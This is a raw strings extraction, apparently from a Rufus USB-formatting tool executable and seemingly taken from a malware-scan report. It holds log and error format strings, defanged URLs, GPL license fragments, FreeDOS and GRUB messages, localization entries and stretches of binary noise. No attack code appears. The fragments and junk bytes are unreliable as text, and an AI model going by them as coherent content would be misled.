MSG_162
MSG_163
MSG_164
MSG_165
MSG_166
MSG_167
MSG_168
MSG_169
MSG_170
MSG_171
MSG_172
MSG_173
MSG_174
MSG_175
MSG_176
MSG_177
MSG_178
MSG_179
MSG_180
MSG_181
MSG_182
MSG_183
MSG_184
MSG_185
MSG_186
MSG_187
MSG_188
MSG_189
MSG_190
MSG_191
MSG_192
MSG_193
MSG_194
MSG_195
MSG_196
MSG_197
MSG_198
MSG_199
MSG_200
MSG_201
MSG_202
MSG_203
MSG_204
MSG_205
MSG_206
MSG_207
MSG_208
MSG_209
MSG_210
MSG_211
MSG_212
MSG_213
MSG_214
MSG_215
MSG_216
MSG_217
MSG_218
MSG_219
MSG_220
MSG_221
MSG_222
MSG_223
MSG_224
MSG_225
MSG_226
MSG_227
MSG_228
MSG_229
MSG_230
MSG_231
MSG_232
MSG_233
MSG_234
MSG_235
MSG_236
MSG_237
MSG_238
MSG_239
MSG_240
MSG_241
MSG_242
MSG_243
MSG_244
MSG_245
MSG_246
MSG_247
MSG_248
MSG_249
MSG_250
MSG_251
MSG_252
MSG_253
MSG_254
MSG_255
MSG_256
MSG_257
MSG_258
MSG_259
MSG_260
MSG_261
MSG_262
MSG_263
MSG_264
MSG_265
MSG_266
MSG_267
MSG_268
MSG_269
MSG_270
MSG_271
MSG_272
MSG_273
MSG_274
MSG_275
MSG_276
MSG_277
MSG_278
MSG_279
MSG_280
MSG_281
MSG_282
MSG_283
MSG_284
MSG_285
MSG_286
MSG_287
MSG_288
MSG_289
MSG_MAX
embedded.loc
Could not read Windows version - Check for updates cancelled.
hXXp://rufus.akeo.ie/
Rufus/%d.%d.%d (Windows NT %d.%d%s)
Checking %s channel...
%s%s%s_%s_%d.%d.ver
Base update check: %s
Trying %s
Could not find a %s version file on server %s
Found match for %s on server %s
IMPORTANT: Your local clock is more than 10 minutes in the %s. Unless you fix this, Rufus may not be able to check for updates...
Successfully downloaded version file (%d bytes)
version: %d.%d.%d (%s)
platform_min: %d.%d
url: %s
N%sew %s version found%c
The URL is invalid.
The URL scheme could not be recognized or is not supported.
The Win32 Internet function support is being shut down or unloaded.
The request to connect and log on to an FTP server could not be completed because the supplied user name is incorrect.
The request to connect and log on to an FTP server could not be completed because the supplied password is incorrect.
The request to connect to and log on to an FTP server failed.
The requested operation is invalid.
The operation was cancelled, usually because the handle on which the request was operating was closed before the operation completed.
The type of handle supplied is incorrect for this operation.
The requested operation cannot be carried out because the handle supplied is not in the correct state.
The required operation could not be completed because one or more requests are pending.
SSL certificate date that was received from the server is bad. The certificate is expired.
SSL certificate common name (host name field) is incorrect.
The requested operation cannot be made on the FTP session handle because an operation is already in progress.
The FTP operation was not completed because the session was aborted.
The request made to HttpQueryInfo is invalid.
Client Authentication certificate needed
This connection requires an MSN Security Support Provider Interface package.
Unknown internet error 0xX
Downloading '%s' from %s
Unable to decode URL: %s
Could not open Internet session: %s
Could not connect to server %s:%d: %s
Could not open URL %s: %s
Unable to send request: %s
Unable to access file: %d
Unable to retrieve file length: %s
File length: %d bytes
Unable to create file '%s': %s
Error writing file '%s': %s
Could not download complete file - read: %d bytes, expected: %d bytes
Successfully downloaded '%s'
Network is unavailable: %s
B%s(%d): could not allocate command
%s(%d): missing parameter for command '%c'
%s(%d): no start quote
%s(%d): invalid integer
%s(%d): internal error (unexpected number of numeric values)
localization: unhandled arg_type '%c'
%s(%d): unknown command
%s(%d): no end quote
%s(%d): syntax error: '%s'
Could not convert '%s' to UTF-16
localization: could not open '%s'
localization: found locale '%s'
%s(%d): [a]ttributes cannot precede [l]ocale
%s(%d): [v]ersion was already provided at line %d
%s(%d): [v]ersion format is invalid
%s(%d): [v]ersion cannot precede [l]ocale
%s(%d): [v]ersion is not compatible with this framework
%s(%d): the version of this locale is incompatible with this version of Rufus and MUST be updated to at least v%d.%d.0
%s(%d): the version of this translation is older than the base one and may result in some messages not being properly translated.
If you are the translator, please update your translation with the changes that intervened between v%d.%d.%d and v%d.%d.%d.
See hXXps://github.com/pbatard/rufus/blob/master/res/localization/ChangeLog.txt
localization: '%s' contains no valid locale sections
%s(%d): unknown attribute '%c' - ignored
localization: no %slocale
Could not open file '%s'
Could not open temporary output file '%s~'
Could not write '%s' - original file has been left unmodified
download_url
Could not read file '%s'
Could not write '%s' - original file has been left unmodified.
PKI: Failed to get store handle for '%s': %s
PKI: Failed to get signer size: %s
PKI: Failed to get signer information: %s
PKI: Failed to locate signer certificate in temporary store: %s
Downloaded executable is signed by '%s'
PKI: Unable to convert '%s' to UTF16
PKI: Signature '%s' is unexpected...
d:d:d
Blocking I/O operation detected
Key is not empty
Failed to delete registry key HKCU\Software\%s: %s
*.log
rufus.log
The drive is incompatible with FS type #%d
Image is a %sbootable %s image
ISO label: '%s'
Uses: Syslinux/Isolinux v%s
With an old %s
Uses: EFI %s
Uses: WinPE %s
Uses: Install.wim (version %d.%d.%d)
Note: This WIM version is NOT compatible with Windows To Go
This ISOHybrid is not compatible with any of the ISO boot methods we support
Rufus %d.%d.%d%s
%s%d.%d.%d Rufus
Rufus version: %d.%d.%d%s
Warning: could not read embedded Syslinux v%d version
Windows version: %s
Syslinux versions: %s%s, %s%s
0.4.6a
Grub versions: %s, %s
System locale ID: 0xX
NOTE: The %s translation requires an update, but the current translator hasn't submitted one. Because of this, some messages will only be displayed in English.
%d %s
inetcpl.cpl
Syslinux %s
Grub4DOS 0.4.6a
*.img;*.vhd;*.gz;*.bzip2;*.xz;*.lzma;*.Z;*.zip
*.iso
%s (%s)
Image provided: '%s'
Windows To Go
hXXp://sourceforge.net/projects/sevenzip/files/7-Zip/
%s-%s/%s
Will reuse '%s' from './rufus_files/%s-%s/' for Grub 2.x installation
Failed to read existing '%s' data - will use embedded version
%s-%s
hXXp://rufus.akeo.ie/files
%s/%s-%s/%s
%s was not found - will use embedded version
Failed to read '%s' data - will use embedded version
Will replace obsolete '%s' from ISO with the one found in './rufus_files/%s'
%s-%s%s/%s.%s
Will reuse '%s.%s' and '%s.%s' from './rufus_files/%s/%s-%s%s/' for Syslinux installation
%s/%s-%s%s/%s.%s
%s/%s-%s/%s.%s
%s-%s\%s.%s
%s-%s\%s\%s.%s
Could not download the file - will try to use embedded %s version instead
%s-%s/%s.%s
Will reuse './%s/%s' for Syslinux installation
%s.%s
grub4dos-%s/grldr
Will reuse './%s/%s' for Grub4DOS installation
grub4dos-%s
%s/grub4dos-%s/grldr
URL = %s
Format operation started
*.vhd
%s.vhd
Save to VHD operation started
Msvcrt
Global/Rufus_CmdLine
Could not find ISO image '%s'
Usage: %s [-f] [-g] [-h] [-i PATH] [-l LOCALE] [-w TIMEOUT]
Start in GUI mode (disable the 'rufus.com' commandline hogger)
Could not get current directory: %s
Could not get system directory: %s
Could not get Windows directory: %s
C:\Windows
%s\rufus.ini
Will use settings from %s
found locale '%s'
EnableWindowsDualUefiBiosMode
rufus.loc
localization: unable to extract '%s': %s
localization: extracted data to '%s'
%s\%s
using external loc file '%s'
Could not load RichEdit library - some dialogs may not display: %s
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
localization: using locale '%s'
NOTE: Listing of non-USB removable drives has been %s.
rufus.com
SetLGP: CoCreateInstance failed; hr = %x
SetLGP: OpenLocalMachineGPO failed - error %x
SetLGP: GetRegistryKey failed - error %x
SetLGP: Failed to open LGPO path %s - error %x
SetLGP: Failed to read original %s policy value - error %x
SetLGP: RegSetValueEx / RegDeleteValue failed - error %x
SetLGP: Unable to apply %s policy - error %x
SetLGP: Successfully %s %s policy to 0xX
SetLGP: Successfully removed %s policy key
hash table is full (%d entries)
Windows Undefined
%s %u.%u %s
%s SP%u.%u %s
%s SP%u %s
%s %s
Microsoft\Windows NT\CurrentVersion\CurrentBuildNumber
OpenProcessToken failed: %s
GetTokenInformation (pre) failed: %s
Unable to convert SID to string: %s
Unable to convert string back to SID: %s
GetTokenInformation (real) failed: %s
Could not set security descriptor: %s
Could not %s file '%s'
I/O Error: %s
Could not locate resource '%s': %s
Could not load resource '%s': %s
Coult not allocate resource '%s'
Could not set commandline pipe: %s
Unable to launch command '%s': %s
thr_%d:
[0xX]
Windows error code 0xX (FormatMessage error code 0xX)
Unknown error 0xX
{X-X-X-XX-XXXXXX}%0.0f%s
%0.1f%s
%s%0.0f%s %s
%s%0.1f%s %s
%s%d%s %s
%s%d%s%s
StrError: non storage - X (%X)
Unknown error: X
Warning - Could not read file pointer: %s
Wrote %d bytes but requested %d%s
Write error [0x%8X]%s
%s (*.*)
Could not select file for %s. Error %X
Maximum number of tooltips reached (%d)
CoCreateInstance for TaskbarList failed: error %X
*.exe
hXXp://rufus.akeo.ie
Failed to launch new application: %s
Could not get download URL
Could not locate font for %s!
Rufus.exe
Copyright (C) 2007 Free Software Foundation, Inc. <hXXp://fsf.org/>
certain responsibilities if you distribute copies of the software, or if
gratis or for a fee, you must pass on to the recipients the same
infringement under applicable copyright law, except executing it on a
The "System Libraries" of an executable work include anything, other
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
the source code needed to generate, install, and (for an executable
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
and you may offer support or warranty protection for a fee.
long as you offer spare parts or customer support for that product
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
A separable portion of the object code, whose source code is excluded
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
requirement to continue to provide support service, warranty, or updates
adversely affects the operation of the network or violates the rules and
source code form), and must require no special password or key for
removal in certain cases when you modify the work.) You may place
You may not impose any further restrictions on the exercise of the
not impose a license fee, royalty, or other charge for exercise of
sale, or importing the Program or any portion of it.
make, use, sell, offer for sale, import and otherwise run, modify and
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
Program specifies that a certain numbered version of the GNU General
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
\fs16\b %s\b0\line
%s\par
\fs16 %s\par
\fs16 %s\line
%s\line
\b %s\b0\line
hXXp://pcunleashed.com\line
hXXp://ms-sys.sourceforge.net\line
FreeDOS support from the FreeDOS project:\line
hXXp://VVV.freedos.org\line
ISO extraction support from libcdio by Rocky Bernstein et al.:\line
hXXp://VVV.gnu.org/software/libcdio\line
Syslinux support from Syslinux by H. Peter Anvin et al.:\line
hXXp://VVV.syslinux.org\line
Grub4DOS support from Grub4DOS by chenall, itself based on GRUB Legacy by the Free Software Foundation:\line
hXXps://github.com/chenall/grub4dos\line
GRUB 2 support from GNU GRUB by the Free Software Foundation:\line
hXXp://VVV.gnu.org/software/grub\line
ReactOS support & additional FAT and time-conversion handling by ReactOS:\line
hXXp://VVV.reactos.org\line
hXXp://svn.reactos.org/svn/reactos/trunk/reactos\line
hXXp://e2fsprogs.sourceforge.net\line
hXXp://VVV.ridgecrop.demon.co.uk/index.htm?fat32format.htm\line
fmifs.dll usage based on Formatx by Mark Russinovich:\line
hXXp://doc.sch130.nsc.ru/VVV.sysinternals.com/ntw2k/source/fmifs.shtml\line
hXXp://svn.reactos.org/svn/reactos/trunk/reactos/include/reactos/libs/fmifs\line
Device enumeration based on TestUSBDriveEject.cpp by ahmd:\line
hXXp://VVV.codeguru.com/forum/showthread.php?p=1951973\line
Decompression support from BusyBox/Bled:\line
hXXp://VVV.busybox.net/\line
hXXps://github.com/pbatard/bled\line
hXXps://sourceforge.net/projects/smartmontools\line
hXXp://VVV.gnu.org/software/fdisk\line
hXXp://kolibrios.org\line
hXXps://VVV.gnupg.org\line
hXXp://7-zip.org\line
hXXps://github.com/weidai11/cryptopp/\line
hXXp://winscp.net\line
hXXp://tortoisesvn.net/, hXXp://code.google.com/p/tortoisegit/\line
\b\fs20%s\b0\line
\fs18%s\line
hXXp://rufus.akeo.ie\line
hXXps://github.com/pbatard/rufus/issues\line
\b\fs19 %s\b0}
Cannot read sector %u
Could not open %s
Could not read %s
Using existing './%s'
%C:\%s.%s
Unable to create '%s'
Could not write '%s': %s
Could not write ADV to '%s': %s
Successfully wrote '%s'
Could not translate LDLINUX.SYS LCN to disk LBA
Unsupported Syslinux filesystem
Could not read Syslinux boot record: %s
Partial read of Syslinux boot record: read %d bytes but requested %d
Could not write Syslinux boot record: %s
%s/%s-%s
Caution: No '%s' was provided. The target will be missing a required Syslinux file!
Created '%s' (from '%s/%s-%s/%s')
Failed to create '%s': %s
%C:\%s
%C:\syslinux.cfg
Could not create ReactOS 'syslinux.cfg'
KERNEL %s
APPEND %s
Processing Hub %d:
Hub[%d] = '%s'
Found ID[d]: %s
Processing IDs belonging to '%s':
SetupDiGetClassDevs (Interface) failed: %s
SetupDiGetDeviceRegistryProperty (Enumerator Name) failed: %s
Processing '%s' device:
Hardware ID: '%s'
SetupDiGetDeviceRegistryProperty (Friendly Name) failed: %s
Could not locate device node for '%s'
Could not get children of '%s'
NOTE: Matched instance from sibling for '%s'
Matched with ID[d]: %s
Matched with (GP) ID[d]: %s
Matched with Hub[%d]: '%s'
Could not get device instance handle for '%s': CR error %d
Could not get port for '%s': CR error %d
Could not open hub %s: %s
Could not get node connection information for '%s': %s
Could not get node connection information (V2) for device '%s': %s
Found VHD device '%s'
Found card reader device '%s'
Found non-USB removable device '%s'
????:????
X:X
Found %s%s%s device '%s' (%s) %s
NOTE: This device is an USB 3.0 device operating at lower speed...
SetupDiEnumDeviceInterfaces failed: %s
A device was eliminated because it didn't report itself as a disk
SetupDiGetDeviceInterfaceDetail (dummy) failed: %s
SetupDiGetDeviceInterfaceDetail (actual) failed: %s
Could not open '%s': %s
Device eliminated because it is smaller than %d MB
Device eliminated because it was detected as a Hard Drive (score %d > 0)
Removing %C: from the list: This is the %s!
%s [%s]
?:\EFI\Rufus\ntfs_x64.efi
Opening: %s:[%d] (7-Zip)
Extracting: %s (From %s)
"%s" -y e "%s" %s%s
Could not launch 7z.exe: %s
\bootmgfw.efi
Could not rename %s to %s
7z.exe did not extract %s
'%s' (%s)
Apply %s: %s [err = %d]
Opening: %s:[%d] (API)
Could not fetch temp path: %s
Could not access image: %s
Could not set temp path: %s
Could not set index: %s
Could not extract file: %s
Closing: %s
Opening: %s:[%d]
Could not set progress callback: %s
Applying Windows image...
Could not count the files to apply: %s
Could not apply image: %s
Rpcrt4
Could not write VHD footer: %s
Could not open image '%s'
Could not get image size: %s
Unsupported type of VHD image
Warning: VHD footer seems corrupted (checksum: X, expected: X)
wimgapi.dll
\7z.exe
WIM extraction method(s) supported: %s%s%s
WIM apply method supported: %s
.lzma
BThis compression type is not supported
Could not open '%s' (errno: %d)
unsupported compression format
Could not get source descriptor (errno: %d)
Could not get target descriptor (errno: %d)
bunzip error %d
compressed with %d bits, can only handle 16 bits
read error (errno: %d)
write error (errno: %d)
unsupported check; not verifying file integrity
not a .xz file
unsupported XZ header option
@@@invalid zip magic X
zip method method %d is not supported
zip flags 1 and 8 are not supported
processing archive file '%s'
write_sectors: Could not access sector 0xI64x - %s
write_sectors: Write error %s
Wrote: %d, Expected: %I64u
read_sectors: Could not access sector 0xI64x - %s
read_sectors: Read error %s
Read: %d, Expected: %I64u
unsupported sectors size
kernel32.dll
KERNEL32.DLL not found!
GetVolumePathName() not found in KERNEL32.DLL!
GetDiskFreeSpace() not found in KERNEL32.DLL!
Unsupported number of volume disk extents!
Converted ISO 9660 timezone %d is less than -48. Adjusted
Converted ISO 9660 timezone %d is over 52. Adjusted
string '%s' fails 7bit constraint (pos = %d)
string '%s' fails a-character constraint (pos = %d)
string '%s' fails d-character constraint (pos = %d)
string '%s' is getting truncated to %d characters
%s;%d
Couldn't calloc(1, %d)
%d %d %d, '%c%c' (%d, %d)
error reading PVD sector (%d) error %d
Found Extension: Joliet Level %d
Expecting the PVD sector header MSF to be 0x16, is: %x
Expecting the PVD sector mode to be Mode 1 is: %x
Expecting the PVD sector mode to be Mode 2 is: %x
Unsupported NM flag settings (%d)
Unsupported allocation descriptor %d
Unknown strategy type %d
read count %u is larger than %u extent size.
read count truncated to %u
**ERROR: %s
--DEBUG: %s
WARN: %s
INFO: %s
!ASSERT: %s
Reading audio sector(s) lsn %u for %d blocks
Reading data sector(s) lsn, %u blocksize %d, for %d blocks
Reading mode 1 secto lsn %u
number of minutes (%d) truncated to 99.
Null CdIo object passed
Number of tracks exceeds maximum (%d vs. %d)
fclose (): %s
fread (): %s
fseeko64 (): %s
could not retrieve file info for `%s': %s
_matherr(): %s in %s(%g, %g) (retval=%g)
VirtualQuery failed for %d bytes at address %p
VirtualProtect failed with code 0x%x
Unknown pseudo relocation protocol version %d.
Unknown pseudo relocation bit size %d.
unknown option -- %s
unknown option -- %c
option requires an argument -- %s
option requires an argument -- %c
GCC: (Rev2, Built by MSYS2 project) 5.3.0
If you are the translator, please update your translation with the changes that intervened between v1.0.18 and v1.0.19.
C:\Windows\system32
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp
<d.dR
y%uRl/~b
12345678
Invalid switch. - /%c
Invalid switch. - /%s
Ill-formed option: '%s'
Option '%s' can not have an argument
Option '%s' must have an argument
Invalid number specified in '%s'
Missing closing quote: %c
Too many parameters. - '%s'
Invalid parameter. - '%s'
File not found. - '%s'
Invalid drive %c:.
Bad command or filename - "%s".
Cannot pipe! Cannot open temporary file!
Line #%ld in batchfile '%s' too long.
Batchfile '%s' not found.
Batchfile '%s' does not contain label '%s'.
%s failed for '%s'.
Can not set environment variable '%s'.
Environment variable '%s' not found.
Can not set alias '%s'. Alias space full?
Alias '%s' not found.
Syntax error. - '%s'
Filename too long. - '%s'
Cannot copy '%s' to itself
Invalid history size '%s'.
Undefined error %d.
Illegal memory region %d - ignored.
Can not redirect input from file '%s'.
Can not redirect output to file '%s'.
The CTTY command has been excluded from this COMMAND.COM.
Invalid or no read-write device '%s'.
Failed to change file descriptors to TTY '%s'.
Unable to open source. - '%s'
Unable to open file '%s'
Unable to read from file '%s'
Unable to write to file '%s'
Sorry...not implemented yet.
The /MSG option has been excluded from this COMMAND.COM.
%u items displayed.
the system COMMAND.COM runs in. Please report this error.
The path to COMMAND.COM must be fully qualified!
COMMAND.COM assumes this path now:
Drive %c: not responding.
No such alias: '%s'
Invalid alias name '%s'.
Resizing context to %u bytes.
freecom@freedos.org
%s: Permission denied
%s: No such file or directory
%s: Unknown error
Press any key to continue . . .
History size is %d bytes.
DOSKEY features are already enabled in the shell.
ECHO is %s
VERIFY is %s
DEBUG output is %s.
DEBUG output is printed to '%s'.
BREAK is %s
LFNFOR is %s
LFN Complete is %s
Current date is %s
Enter new date (mm%sdd%s[cc]yy):
Enter new date (dd%smm%s[cc]yy):
Enter new date ([cc]yy%smm%sdd):
Current time is %s
%s %s %s
All files in '%s' will be deleted!
Terminate batch file '%s' (Yes/No/All) ?
Overwrite '%s' (Yes/No/All/Quit) ?
Append to '%s' (Yes/No/All/Quit) ?
Delete '%s' (Yes/No/All/Quit) ?
Volume in drive %c
is %s
Volume Serial Number is X-X
s file(s)
s bytes
s dir(s)
s bytes free
Directory of %s
Directory of %s
PATH=%s
%u files removed.
Press F8 for trace mode, or F5 to bypass %s...
Bypassing '%s'.
DOS version %u.%u
FreeDOS kernel version %d.%d.%d
Send bug reports to freedos-freecom@lists.sourceforge.net.
Updates are available from hXXp://freedos.sourceforge.net/freecom
to the enclosed HISTORY.TXT file.
Currently maintained by Steffen Kaiser mailto:freecom@freedos.org
FreeCOM executable not found.
You must specify the complete path to COMMAND.COM
C:\FDOS
Environment segment : max %5u bytes; free %5u bytes
Context segment : max %5u bytes; free %5u bytes
Aliases : limit %5u bytes, current %5u bytes, %5u items
History : limit %5u bytes, current %5u bytes, %5u items
Directory stack: limit %5u bytes, current %5u bytes, %5u items
Last dir cache : used %5u bytes, %5u items
Batch nesting : used %5u bytes, %5u items
Swapinfo : used %5u bytes, %5u items
The current codepage is %u.
The system codepage (properly) is: %u.
/Y enables tracemode during execution of the command.
COMMAND [[drive:]path] [device] [/E:nnnnn] [/L:nnnn] [/U:nnn] [/P] [/MSG]
[drive:]path Specifies the directory containing COMMAND.COM.
/MSG Stores all error messages in memory (requires /P as well).
/C command Executes the specified command and returns.
/K command Executes the specified command and continues running.
The switch /Y may be preset in the COPYCMD environment variable.
Switches may be preset in the DIRCMD environment variable. Override
The external DOSKEY utility had been incorporated into FreeCOM.
Use cursor UP,& DOWN keys to recall the history and HISTORY to display it.
Use cursor LEFT,& RIGHT and the END and HOME keys to navigate within
Use the TAB key to complete the current word as filename; use it twice
DOSKEY [/switch ...] [macroname=[text]]
/KEYSIZE:size Sets size of keyboard type-ahead buffer (default:15)
/MACROS Displays all DOSKey macros
/REINSTALL Installs a new copy of DOSKey
The following are special codes you can use in DOSKey macro definitions:
FOR %f IN (---start--- a*.* ---end---) DO ECHO - %f -
Displays or sets a search path for executable files.
"Press any key to continue...." or an optional specified message.
$B | (pipe)
Records comments (remarks) in a batch file or CONFIG.SYS.
The second one will prompt whether or not to execute the specified
Searches and displays the executable file for each specified command.
Deleting file "%s".
Unable to write to file '%s';
FreeCOM cannot be a device: "%s"
pointed to in %COMSPEC% seems to be invalid. Please specify another
C:\COMMAND.COM
%u Critical Error requests suppressed.
Exit code (ERRORLEVEL): %u, reason: %u (%s)
3456789
!"#$%&'(
\!ß
/.-, *)(
W%n.CC(6
!Po%F
*|%D-
NK@-.TMPn
0386.APU
{KEY/.SYS/AU
TOEXEC.B
."%s"XI
%4u-%
Y-5D
KEYB9{Buffg.lvm-Ry
keyb
h.fG3
6789:;<=
X.YuY
5.xt5)
A6.cB
KEYBgj
tp://[-|.sf.n
[.xsp
FreeDOS keyboard layout library file 1/4
FreeDOS keyboard layout library file 2/4
FreeDOS keyboard layout library file 3/4
FreeDOS keyboard layout library file 4/4P
@acm.org
acm.org
kostT@acm.or
oT@acm.org
T@acm.org
4Q%F^
cm.org
m.org
<%c)|
ostT@acm.org
/3`.px)xL
message in error, hold down the Ctrl key whilebooting, and I
Unknown keyword in configuration file:
Missing parameter in configuration file. Keyword:
Boot failed: please change disks and press a key to continue.
.cbt.bss.bs
.com.c32
%$%a%b%V%U%c%Q%W%]%\%[%
%<%^%_%Z%T%i%f%`%P%l%g%h%d%e%Y%X%R%S%k%j%
only support sH
%s^|ctx
llu (%u/
%xK0%1!L
@A.LD
I.IYN.m
k{h.Xgc!d%%dH`
%X1!v
start = %x, len
:0x%x size d
.ss@AU0
e Ctrl key while
->pvt[%d]: warnN
(C[%s(!#$LCN
MFTp
CHS[x]
N8emX$%UY:$
c.so.12
2key)
Y`SlS'$ P%x
c%Utu6
Loading %s...
-solaris Enable Solaris DHCP information passing
-aout Use the "a.out kludge" if enabled, even for ELF
Unsupported Multiboot flags set: %#x
Memory segment at 0xx (len 0xx) is unavailable
Failed to claim a.out address space!
Failed to map a.out data
Failed to map a.out bss
Invalid Multiboot image: neither ELF header nor a.out kludge found
1.2.5
inflate 1.2.5 Copyright 1995-2010 Mark Adler
to start GRUB, any other key to boot previous MBR ...
to boot previous MBR, any other key to start GRUB ...
Invalid previous MBR. Press any key to start GRUB ...
to hold the screen, any other key to boot previous MBR ...
hot-key
t\<%uP.
BIOS: Drive=0x%X, H=%d, S=%d
TUNE: Drive=0x%X, H=%d, S=%d
}]F/%u
(GCI.hp
nz.wQ~[
.zf#S
v 1.0.19
t MSG_001 "Other instance detected"
t MSG_002 "Another Rufus application is running.\n"
t MSG_003 "WARNING: ALL DATA ON DEVICE '%s' WILL BE DESTROYED.\n"
"To continue with this operation, click OK. To quit click CANCEL."
t MSG_004 "Rufus update policy"
t MSG_005 "Do you want to allow Rufus to check for application updates online?"
t MSG_006 "Close"
t MSG_007 "Cancel"
t MSG_008 "Yes"
t MSG_009 "No"
t MSG_010 "Bad blocks found"
t MSG_011 "Check completed: %d bad block(s) found\n"
" %d read error(s)\n %d write error(s)\n %d corruption error(s)\n"
t MSG_012 "%s\nA more detailed report can be found in:\n%s"
t MSG_013 "Disabled"
t MSG_014 "Daily"
t MSG_015 "Weekly"
t MSG_016 "Monthly"
t MSG_017 "Custom"
t MSG_018 "Your version: %d.%d (Build %d)"
t MSG_019 "Latest version: %d.%d (Build %d)"
t MSG_020 "bytes"
t MSG_021 "KB"
t MSG_022 "MB"
t MSG_023 "GB"
t MSG_024 "TB"
t MSG_025 "PB"
t MSG_026 "bytes"
t MSG_027 "kilobytes"
t MSG_028 "megabytes"
t MSG_029 "Default"
t MSG_030 "%s (Default)"
t MSG_031 "%s partition scheme for BIOS or %s"
t MSG_032 "%s partition scheme for BIOS"
t MSG_033 "%s partition scheme for UEFI"
t MSG_034 "%d Pass"
t MSG_035 "%d Passes"
t MSG_036 "ISO Image"
t MSG_037 "Application"
t MSG_038 "Abort"
t MSG_039 "Launch"
t MSG_040 "Download"
t MSG_041 "Operation cancelled by the user"
t MSG_042 "Error"
t MSG_043 "Error: %s"
t MSG_044 "File download"
t MSG_045 "USB Storage Device (Generic)"
t MSG_046 "%s (Disk %d) [%s]"
t MSG_047 "Multiple Partitions"
t MSG_048 "Rufus - Flushing buffers"
t MSG_049 "Rufus - Cancellation"
t MSG_050 "Success."
t MSG_051 "Undetermined error while formatting."
t MSG_052 "Cannot use the selected file system for this media."
t MSG_053 "Access to the device is denied."
t MSG_054 "Media is write protected."
t MSG_055 "The device is in use by another process. "
t MSG_056 "Quick format is not available for this device."
t MSG_057 "The volume label is invalid."
t MSG_058 "The device handle is invalid."
t MSG_059 "The selected cluster size is not valid for this device."
t MSG_060 "The volume size is invalid."
t MSG_061 "Please insert a removable media in drive."
t MSG_062 "An unsupported command was received."
t MSG_063 "Memory allocation error."
t MSG_064 "Read error."
t MSG_065 "Write error."
t MSG_066 "Installation failure"
t MSG_067 "Could not open media. It may be in use by another process. "
t MSG_068 "Error while partitioning drive."
t MSG_069 "Could not copy files to target drive."
t MSG_070 "Cancelled by user."
t MSG_071 "Unable to start thread."
t MSG_072 "Bad blocks check didn't complete."
t MSG_073 "ISO image scan failure."
t MSG_074 "ISO image extraction failure."
t MSG_075 "Unable to remount volume."
t MSG_076 "Unable to patch/setup files for boot."
t MSG_077 "Unable to assign a drive letter."
t MSG_078 "Can't mount GUID volume."
t MSG_079 "The device is not ready."
t MSG_080 "Rufus detected that Windows is still flushing its internal buffers onto the USB device.\n\n"
"Depending on the speed of your USB device, this operation may take a long time to complete, "
"especially for large files.\n\nWe recommend that you let Windows finish, to avoid corruption. "
t MSG_081 "Unsupported image"
t MSG_082 "This image is either non-bootable, or it uses a boot or compression method that is not supported by Rufus..."
t MSG_083 "Replace %s?"
t MSG_084 "This ISO image seems to use an obsolete version of '%s'.\n"
"'%s' exists there, it will be reused automatically."
t MSG_085 "Downloading %s"
t MSG_086 "No image selected"
t MSG_087 "Please click on the disc button to select a bootable image, "
t MSG_088 "Image is too big"
t MSG_089 "The image is too big for the selected target."
t MSG_090 "Unsupported ISO"
t MSG_091 "When using UEFI Target Type, only EFI bootable ISO images are supported. "
t MSG_092 "Unsupported filesystem"
t MSG_093 "IMPORTANT: THIS DRIVE CONTAINS MULTIPLE PARTITIONS!!\n\n"
"This may include partitions/volumes that aren't listed or even visible from Windows. "
t MSG_094 "Multiple partitions detected"
t MSG_095 "DD Image"
t MSG_096 "The file system currently selected can not be used with this type of ISO. "
t MSG_097 "'%s' can only be applied if the file system is NTFS."
t MSG_098 "IMPORTANT: You are trying to install 'Windows To Go', but your target drive doesn't "
"have the 'FIXED' attribute. Because of this Windows will most likely freeze during boot, "
t MSG_099 "Filesystem limitation"
t MSG_100 "This ISO image contains a file larger than 4GB, which is more than the "
t MSG_101 "Missing WIM support"
t MSG_102 "Your platform cannot extract files from WIM archives. WIM extraction "
"is required to create EFI bootable Windows 7 and Windows Vista USB drives. You can fix that "
t MSG_103 "Download %s?"
t MSG_104 "%s or later requires a '%s' file to be installed.\n"
"Because this file is more than 100 KB in size, and always present on %s ISO images, "
"'%s' exists there, it will be reused automatically.\n"
t MSG_105 "Cancelling may leave the device in an UNUSABLE state.\n"
t MSG_106 "Please select folder"
t MSG_107 "All files"
t MSG_108 "Rufus log"
t MSG_109 "0xX (Disk %d)"
t MSG_110 "MS-DOS cannot boot from a drive using a 64 kilobytes Cluster size.\n"
t MSG_111 "Incompatible Cluster size"
t MSG_112 "Formatting a large UDF volumes can take a lot of time. At USB 2.0 speeds, the estimated formatting "
"duration is %d:d, during which the progress bar will appear frozen. Please be patient!"
t MSG_113 "Large UDF volume"
t MSG_114 "This image uses Syslinux %s%s but this application only includes the installation files for "
"Syslinux %s%s.\n\nAs new versions of Syslinux are not compatible with one another, and it wouldn't "
"Internet ('ldlinux.sys' and 'ldlinux.bss'):\n""- Select 'No' to cancel the operation\n\n"
t MSG_115 "Download required"
t MSG_116 "This image uses Grub %s but the application only includes the installation files for "
"Grub %s.\n\nAs different versions of Grub may not be compatible with one another, and it is "
"installation file ('core.img') that matches the one from your image:\n""- Select 'Cancel' to abort the operation\n\n"
t MSG_150 "Usually the safest choice. However, if you have an UEFI computer and want to install "
"an Operating System in native EFI mode, you should select one of the other options"
t MSG_151 "Use this if you want to install an Operating System in native EFI mode, but will need "
"to access the USB content from Windows XP"
t MSG_152 "The preferred option to install an Operating System in native EFI mode, when USB access "
"is not required from Windows XP"
t MSG_153 "Test pattern: 0xX"
t MSG_154 "Test pattern: 0xX, 0xX"
t MSG_155 "Test pattern: 0xX, 0xX, 0xX"
t MSG_156 "Test pattern: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Sets the target filesystem"
t MSG_158 "Minimum size that a block of data will occupy in the filesystem"
t MSG_159 "Use this field to set the drive label\nInternational characters are accepted"
t MSG_160 "Toggle advanced options"
t MSG_161 "Check the device for bad blocks using a test pattern"
t MSG_162 "Uncheck this box to use the \"slow\" format method"
